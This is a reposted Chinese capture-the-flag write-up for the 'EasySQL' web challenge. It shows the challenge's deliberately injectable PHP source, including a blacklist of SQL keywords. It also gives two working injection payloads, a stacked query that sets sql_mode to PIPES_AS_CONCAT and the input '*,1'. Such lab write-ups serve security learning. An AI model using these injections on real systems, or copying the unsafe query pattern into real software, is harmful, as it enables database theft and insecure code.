buuctf刷題之旅—web—EasySQL


打開環境,發現依舊是sql注入

 

 

 

 

 

GitHub上有源碼(https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql)

index.php源碼

<?php
    session_start();
    
    include_once "config.php";
    
    $post = array();
    $get = array();
    global $MysqlLink;
    
    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }
    
    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $get[$k] = trim(addslashes($v));
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php
    
    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
     //sql執行語句
mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); } ?>

SQL執行的語句:$sql="select ".$post['query']."||flag from Flag";

第一種:堆疊注入,使得sql_mode的值為PIPES_AS_CONCAT。
payload:setsql_mode=PIPES_AS_CONCAT;
所以整個語句為:1;set sql_mode=PIPES_AS_CONCAT;select 1

 

第二種:

根據SQL執行語句:$sql="select ".$post['query']."||flag from Flag";

構造出:$sql="select *,1 ||flag from Flag";

所以直接輸入“*,1”就可直接出flag

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM